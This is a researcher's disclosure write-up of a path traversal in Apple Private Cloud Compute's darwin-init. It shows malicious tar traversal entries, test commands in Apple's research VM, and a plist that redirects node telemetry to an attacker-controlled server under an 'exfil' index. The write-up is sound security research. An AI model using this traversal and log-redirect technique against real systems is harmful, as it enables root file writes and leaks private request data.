# Beyond Prompt Injection: Hacking Apple's Private Cloud Compute

> Source: <https://blog.sentry.security/beyond-prompt-injection-hacking-apples-private-cloud-compute/>
> Published: 2026-08-09 23:47:58+00:00

# Beyond Prompt Injection: Hacking Apple's Private Cloud Compute

**Drinor was awarded $150,000 for CVE-2026-20685 targeting Apple's Private Cloud Compute, the inference backbone of Apple Intelligence capabilities.**

This work is my contribution to [Sentry](https://sentry.security/?ref=blog.sentry.security)'s AI Security research initiative, run through [SARC](https://sentry.security/resources/research-center?ref=blog.sentry.security), the Sentry Applied Research Center. Our SARC focuses on evaluating systems that carry the most consequence as AI moves into everyday technologies. Private Cloud Compute is a natural target for that work, since it underwrites the privacy guarantees behind Apple Intelligence.

There will be a technical paper released that's more detailed in the coming weeks, so stay tuned!

[Private Cloud Compute](https://security.apple.com/blog/private-cloud-compute/?ref=blog.sentry.security) is becoming ever more important as the core component of Apple Intelligence features. It is built so a server can process your data with close to the privacy guarantees your iPhone gives you on-device for AI inference requests. I found a path traversal in the code that provisions PCC nodes, `darwin-init`

, that lets an attacker write files as `root`

and compromises privacy and security guarantees in PCC. Apple assigned it [CVE-2026-20685](https://nvd.nist.gov/vuln/detail/cve-2026-20685?ref=blog.sentry.security).

I found the vulnerability through Apple's [Virtual Research Environment](https://security.apple.com/documentation/private-cloud-compute/virtualresearchenvironment?ref=blog.sentry.security). The exploit is pretty cool and involved writing files as root during boot and redirecting the node's inference (and other) telemetry to a server I controlled. I think it's a pretty cool find. Besides the exploit itself, I'll explain more about what PCC is and why its guarantees are important for Apple and integrating AI in its products. I then talk about the boot window, the vulnerable component itself, and finally the exploit and the impact related to it.

## What is PCC and how it's related to AI

Private Cloud Compute is Apple's server-side infrastructure for the Apple Intelligence requests that are too large or complex to run on the phone. Apple's privacy claim for it rests on three important mechanisms.

Stateless.A node processes a request in memory and keeps no user data across requests or reboots.Attested.Before your device sends anything, it verifies cryptographically, against a public transparency log, that the node runs only the software Apple published.Sealed observability.Logs and metrics pass through sealed audit tables, so only specific pre-approved fields leave a node.

## Definitions

A few terms clarify the rest of the blog.

- A
**PCC node** is one server in the fleet, a hardened DarwinOS. - A
**cryptex** is a cryptographically sealed extension, a signed bundle of code and data mounted onto a node at boot; PCC ships its operating system and services as cryptexes.is the first userspace process on a booting node, PID 1, running as root: it fetches the node's configuration, downloads and extracts the cryptexes, installs them, and triggers a userspace reboot into the running system.`darwin-init`

- The
**VRE**(Virtual Research Environment) boots a genuine PCC image in a VM so researchers can test it. - The
**trust boundary** is Apple's line between inside PCC, where your data is protected, and outside, where it is not, and**attestation** is how your device checks that a node is genuine and running only published software before trusting it.

## The boot window: darwin-init runs as root

A PCC node's first userspace process is `darwin-init`

, PID 1, root. It resolves a configuration source, downloads the system cryptexes, extracts them, personalizes and installs them, then triggers a userspace reboot (USR) that brings up the steady-state services.

Two facts about that boot window are important. First, `darwin-init`

writes to the writable data volume as root before any service that enforces the node's steady-state assumptions is running. Whatever it leaves on disk is present when the node boots up.

Secondly, Cryptexes install one at a time. Its checks compare the result against the requested configuration. If one cryptex fails to install, the check fails, and USR doesn't continue, leading to the node hanging with no services.

## PCC's Extractors

When `darwin-init`

downloads an artifact, it reads the first four bytes to pick an extractor.

| Magic | Type | Extractor |
|---|---|---|
`AEA1` |
Apple Encrypted Archive | `extractAppleEncryptedArchive` |
`AA01` |
Apple Archive | `extractUncompressedAppleArchive` |
| anything else | tar / gz / bz2 / zip / cpio | `extract(to:)` |

A tar archive's `ustar`

signature sits at byte offset 257, well past the four-byte window. Since tar did not match a known magic, it falls through the `default`

branch to the generic `extract(to:)`

.

## The vulnerable function

`extract(to:)`

does this:

``` js
guard let cStr = archive_entry_pathname(entry) else { continue }
let str = String(cString: cStr)

// update entry pathname relative to output dir
let pathname = path.appending(str)
archive_entry_set_pathname(entry, pathname.description)
```

The entry name comes straight from the archive and is appended to the output directory without sanitation/validation. See how the extraction options confirm it:

``` js
let options = ARCHIVE_EXTRACT_TIME | ARCHIVE_EXTRACT_PERM
            | ARCHIVE_EXTRACT_ACL  | ARCHIVE_EXTRACT_FFLAGS
```

Those options preserve timestamps, permissions, ACLs, and file flags. However, none of libarchive's security flags were set resulting in libarchive writing wherever the entry name points and returns `ARCHIVE_OK`

.

There are two controls that could have prevented this. The cryptex configuration passes through `PrivateCloudOSValidator.validate(cryptexConfig:)`

, which in the published source is an empty function body. The per-cryptex `sha256`

digest is optional, so when the attacker supplies the configuration, integrity verification can be omitted. I took advantage of this fact.

### The extraction path

The extraction base is four levels deep:

```
/var/tmp/darwin-init/cryptex/<UUID>/
```

So the traversal options look as such:

`..` |
Resolves to | Note |
|---|---|---|
| ×3 | `/var/tmp/` |
erased by USR |
| ×4 | `/var/db/` |
persists |
| ×5 | `/` |
filesystem root |

Three `..`

reaches `/var/tmp/`

, which USR wipes, so it is useless for persistence and exploitation in this case. Four reaches `/var/db/`

on the writable data volume which persists after reboot. That is the location I wanted and exploited.

## Crafting a malicious cryptex

This is an interesting bit that I had to experiment with.

A raw tar full of traversal entries would write my files and then fail since the `fullyApplied`

check fails, and the boot hangs as mentioned previously. So the payload has to be two things at once: a working path-traversal exploit and a structurally valid cryptex that passes the checks.

So here's what I did. One tar archive holds two kinds of entries.

1) Traversal entries prefixed with `../../../../db/`

escape into `/var/db/`

. Alongside them sits a complete, valid cryptex bundle, `Restore/BuildManifest.plist`

and

2) A `Restore/Cryptex/POC_DEMO/{gdmg,ginf,gtcd,gtgv}`

set, produced by running Apple's own `pccvre cryptex create`

against a throwaway source directory and extracting the resulting `.aar`

.

Now: The traversal entries extract in `/var/db/`

first. The `Restore/`

subtree lands in the extraction directory, where `cryptexctl personalize`

checks it. The personalization succeeds, install succeeds, `fullyApplied`

passes, USR fires, and the node finally booted clean!

Here is the finished archive, from the build tool's `inspect`

command:

``` bash
$ python3 CVE-2026-20685.py inspect malicious_cryptex.tar
[F]  ../../../../db/poc_darwin_init_traversal_proof           357 B   traversal
[F]  ../../../../db/prcos/splunkloggingd/config-main.plist    836 B   traversal
[D]  Restore/
[D]  Restore/Cryptex/
[F]  Restore/BuildManifest.plist                             1746 B   bundle
[D]  Restore/Cryptex/POC_DEMO/
[F]  Restore/Cryptex/POC_DEMO/gdmg                          14336 B   bundle
[F]  Restore/Cryptex/POC_DEMO/ginf                            527 B   bundle
[F]  Restore/Cryptex/POC_DEMO/gtcd                             46 B   bundle
[F]  Restore/Cryptex/POC_DEMO/gtgv                            229 B   bundle
```

The first two entries extract out to `/var/db/`

. The rest are the genuine cryptex bundle.

## Proof on the VRE

I built a VRE instance from PCC release 37684 and registered the malicious tar as a third cryptex, alongside the two Apple-provided release assets. When the VM boots, `pccvre`

stands up an HTTP server on the host, `darwin-init`

POSTs its device identity to that server, fetches a full remote configuration back, then downloads every cryptex the configuration names, including mine, over HTTP. The two Apple `.aar`

assets match `AA01`

and take the safe extractor. My tar matches nothing and falls through to `extract(to:)`

.

```
$ /System/Library/SecurityResearch/usr/bin/pccvre instance start --debug -N demo
HTTP service started: 192.168.64.1:58538
DarwinInitHelper update cryptex:
  malicious_cryptex.tar -> http://192.168.64.1:58538/malicious_cryptex.tar
Starting VM: demo  (ecid: 3443e8d0ffe39efa)
Started VM: demo
```

After a few seconds later the node was up. To confirm I used a research-only Debug Shell that is absent in production to verify. That shell ships without `cat`

or `ls`

, so the read uses a builtin:

``` bash
$ ssh root@192.168.64.50 'echo "$(< /var/db/poc_darwin_init_traversal_proof)"'
PATH_TRAVERSAL_CONFIRMED: Written by
  darwin-init FilePath+Archive.swift:95
Extraction base: /var/tmp/darwin-init/cryptex/<UUID>/
Target: /var/db/poc_darwin_init_traversal_proof

$ ssh root@192.168.64.50 'test -f /var/db/.DarwinSetupDone && echo BOOT_COMPLETED'
BOOT_COMPLETED
```

The file was written by `root`

, well outside the extraction directory and it survived the userspace reboot. The `.DarwinSetupDone`

confirms the boot finished normally. Perfect.

I wanted to increase it's impact so I explored what I could do with the root file write.

## Redirecting splunkloggingd to my own endpoint

PCC ships `splunkloggingd`

, an internal log forwarder. Its LaunchDaemon uses a `PathState`

KeepAlive that checks one file on the writable data volume, `/var/db/prcos/splunkloggingd/config-main.plist`

. The moment that file exists, `launchd`

starts `splunkloggingd`

and points it at wherever the file points.

My second traversal entry writes into that file, with a configuration of my choosing. These are the fields that I thought mattered most, with some keys left out:

```
<key>Server</key>     <string>http://192.168.64.1:8088</string>
<key>Index</key>      <string>exfil</string>
<key>Predicates</key>
<array>
  <string>subsystem == "com.apple.cloudos.cloudboard"</string>
  <string>subsystem == "com.apple.cloudos"</string>
  <string>subsystem == "com.apple.darwininit"</string>
</array>
<key>Level</key>      <string>Debug</string>
```

On my next iteration, within seconds of boot completing, my listener was taking POSTs roughly 785 KB of CloudBoard daemon state, job events, and node telemetry, with a steady stream of info after that.

It becomes more interesting when I start activating AI inference on the node. I drove a single inference request through it, and the redirected stream began carrying per-request metadata from the `PCCAgentApp`

sender, the key fields of its `PlaintextMetadata`

structure:

```
bundleID:             "local-cloudboard-client"
workloadType:         "tie-vre-cli"
requestID:            CAFC3ED5-…-363C47FB9B64
automatedDeviceGroup: "local-test-device"
```

Those fields are absent while the node is idle and appear only when it processes a request. Across three requests they correlated into clean per-request clusters, each with its own request ID and its own chunk sizes. In Apple's source, `bundleID`

, `featureID`

, and `workloadType`

are production request-routing, access-control, and rate-limiting fields. The `requestID`

and `automatedDeviceGroup`

are per-request correlation and device-grouping identifiers. `CloudBoard`

marks the rendered `PlaintextMetadata`

description as something that "must not be logged publicly." which further strengthened my impact case.

I then widened the set to include the Trusted Inference Engine's senders, and the same channel handed over token counts. Here is an example of two prompts of different lengths producing the numbers below.

| Metric | "Hi" | "Explain quantum computing…" |
|---|---|---|
| input tokens | 2 | 37 |
| output tokens | 100 | 100 |
| draft output tokens | 61 | 73 |
| first-token latency | 843 ms | 1830 ms |

The input counts track prompt length, which confirms the metric measures tokenization. Theres a bunch of more things such as per-token timing, draft-token counts that reveal speculative decoding, and model identity. All interesting observations opening PCC up to side-channel shenanigans.

## The attestation gap

I ran a nonce-controlled comparison across three boots of the same instance. I used two clean boots from a control tar with no traversal entries, and one poisoned boot from an identical bundle plus the traversal entry. I confirmed the `.cxbd`

bundle contents were byte-identical between the two tars beforehand, then diffed the attestation bundles.

| Attestation field | Clean vs poisoned | Why |
|---|---|---|
`apTicket` |
identical | invariant |
| SecureConfig entry and digest | identical | invariant |
| cryptex metadata and entry flags | identical | invariant |
`appData` |
identical | invariant |
Image4 manifests, `sepAttestation` |
differ | per-boot nonce, same pattern in the clean-vs-clean control |
`keyExpiration` |
differ | per-boot timestamp |
| writable data-volume state | differs | not measured by the attestation chain |

Apple's own verifier, `pccvre attestation verify`

, treated both bundles identically at every level I tried. It seems PCC's attestation measures installed software. The writable data-volume files that drive daemon behavior at runtime seems to not be part of the verification process. Attestation proves what software is installed but not the integrity of various config files on the node. In every attestation-relevant field I could examine, the poisoned node was indistinguishable from a clean one in the verification process.

## Why this matters now

Private Cloud Compute is becoming ever more important as the core component of Apple Intelligence features. At WWDC in June 2026 Apple introduced a rebuilt, far more capable assistant, Siri AI, as part of the next generation of Apple Intelligence, with beta availability planned for later in 2026. Apple's public materials state that Apple Intelligence's larger, server-based models run in Private Cloud Compute, which Apple describes as extending the security and privacy of Apple devices into the cloud.

## Disclosure

At its core, this is a thirty-year-old vulnerability class, the same one as Zip Slip, [CVE-2007-4559](https://nvd.nist.gov/vuln/detail/cve-2007-4559?ref=blog.sentry.security), and [CWE-22](https://cwe.mitre.org/data/definitions/22.html?ref=blog.sentry.security), but that just goes to show that securing the entire inference pipeline and environment is just as important as securing the model itself.

I reported CVE-2026-20685 to Apple through responsible disclosure. All work was performed inside Apple's Virtual Research Environment, the official tooling Apple provides for PCC security research, and no testing was done on production infrastructure.

Apple rated the issue as information disclosure (CVSS 6.5, vector `AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

) and addressed it in PCC releases 5E290.3 and later. Apple validated the report and [recognized it](https://security.apple.com/documentation/private-cloud-compute/releasenotes?ref=blog.sentry.security) under the Apple Security Bounty with a **$150,000 award**.

Working with Apple's Product Security team was a real pleasure. They took the report seriously from the start and engaged with the technical detail directly. My thanks to them, and to Apple for building a research environment that caters to both researchers and their fantastic products.

*Drinor Selmanaj** is the Founder and CTO of **Sentry** and a master's student in Cybersecurity at the **NYU** Tandon School of Engineering.*
